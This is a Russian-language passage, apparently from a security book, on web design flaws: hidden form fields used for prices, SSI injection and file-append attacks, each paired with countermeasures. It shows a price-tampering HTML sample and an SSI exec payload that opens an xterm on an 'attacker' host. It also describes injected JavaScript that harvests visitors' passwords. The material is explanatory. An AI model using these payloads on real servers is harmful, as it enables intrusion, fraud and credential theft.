Плохое проектирование в Web

Хотя в истории развития Internet имеются многочисленные примеры разрушительных атак на Web-серверы, которые позволяют взломщикам получать важную информацию об устройстве сервера, а зачастую и привилегированные права доступа, эти взломы — только вершина айсберга. Многие разработчики не стремятся изучить жизненно важные методы проектирования, которые могли бы ограничить нежелательное использование их Web-серверов. В развитие многих из методов, обсуждаемых в этой главе, внесли вклад многие люди, в том числе Симпл Номад (Simple Nomad) из центра NMRCи компания Perfecto Inc.

Использование скрытых дескрипторов


В настоящее время многие компании пользуются Internet, предлагая свои продукты и услуги любому, у кого есть Web-броузер. Но "плохо запрограммированная" тележка для покупок может позволить взломщику фальсифицировать стоимость товаров. Например, рассмотрим небольшую компанию, занимающуюся продажей аппаратного обеспечения. Эта компания обзавелась собственным Web-сервером, чтобы ее клиенты могли осуществлять покупки в интерактивном режиме. Однако они допустили в программе важный промах: применили скрытые дескрипторы HTML как единственный механизм назначения цены за определенный товар. В результате, если взломщики обнаружат это уязвимое место, они смогут изменить цену, стоящую в скрытых дескрипторах, по своему усмотрению.
Например, пусть на Web-узле имеется страница продаж со следующим кодом HTML.

<FORM ACTION="http://192.168.51.101/cgi-bin/order.pi"
method="post">
<input type=hidden name="price"
value="199.99">
<input type=hidden name="prd_id"
value="X190">
QUANTITY: <input type=text name="
quant" size=3 maxlength=3 value=l>
</FORM>

В этом случае простое изменение цены с помощью Netscape Composer или в любом текстовом редакторе позволит взломщику заплатить за товар $1.99 вместо предполагаемой суммы $199.99:
<input type=hidden name="price" value="l.99">
Если вам кажется, что такой стиль программирования встречается редко, то можете удостовериться в этом самостоятельно. Стоит лишь зайти на узел http://www.altavista.com и осуществить поиск, задав в качестве критерия строку type=hidden name=price. В результате будут получены адреса сотни узлов, обладающих таким изъяном.
Другая форма взлома заключается в использовании значения ширины поля. При проектировании в Web указываются многие размеры, однако взломщик может менять заданные разработчиком значения, указывая размеры порядка 70,000 символов. Затем он может ввести в соответствующее поле строку, состоящую из большого числа символов, и это может привести к выходу сервера из строя. Если этого и не произойдет, то подобные действия все же могут привести к непредсказуемым последствиям.

Контрмеры против использования скрытых дескрипторов


Чтобы предотвратить возможность использования взломщиками скрытых дескрипторов HTML, ограничьте их использование в коде, который обеспечивает хранение такой важной информации как цены, или, по крайней мере, реализуйте режим подтверждения этих значений перед их использованием.

Вставки SSI


Механизм SSI (Server Side Includes) обеспечивает интерактивную работу в режиме реального времени без использования программирования. Разработчики Web-приложений часто используют эту возможность для быстрого получения системной даты/времени или для запуска локальной команды и обработки выходных данных. Возможности таких вставок реализуются с помощью дескрипторов (tag). В число дескрипторов входят: echo, include, fsize, flastmod, exec, config, odbc, email, if, goto, label, и break. Три из них, include, exec и email, могут оказаться наиболее полезны взломщикам.
Вставив код SSI в поле документа HTML, обрабатываемое Web-сервером, взломщик может локально запускать команды и получать доступ к серверу. По такому принципу можно разработать ряд разновидностей взломов. Например, при вставке дескриптора SSI в первое или последнее поле имени, появляющееся при создании новой учетной записи, Web-сервер попытается обработать это выражение и запустить соответствующую команду. Следующий дескриптор SSI отображает на машине взломщика графический терминал сервера.

 <!--#ехес cmd="/usr/XHR6/bin/xterm -display attacker:0 &"-->

Меры предосторожности против использования SSI


Нужно пользоваться сценарием, проводящим предварительный синтаксический анализ любого прочитанного файла HTML, и отбрасывающим любую несанкционированную строку SSI перед передачей этого файла серверу для обработки.

Добавления к файлам


Любая возможность Web-приложений, позволяющая пользователю вводить информацию в файл непосредственно повышает уязвимость системы и создает потенциальную возможность атаки. Например, если на Web-узле содержится форма для ввода рекомендаций по улучшению работы узла, или что-то другое в том же духе, и пользователи имеют возможность просматривать этот файл, то взломщик может воспользоваться этим обстоятельством. Используя код SSI (описанным выше способом), он может поместить в файл с комментариями код, который запускается локально, или код JavaScript, предлагающий ввести входящим пользователям их имя и пароль, чтобы использовать эту информацию в будущем.

Контрмеры против использования добавлений к файлам


Нужно ограничить возможность использования добавлений в процессе совместного интерактивного использования информации, так как эти возможности открывают взломщику слишком много путей манипулирования пользователями и Web-сервером.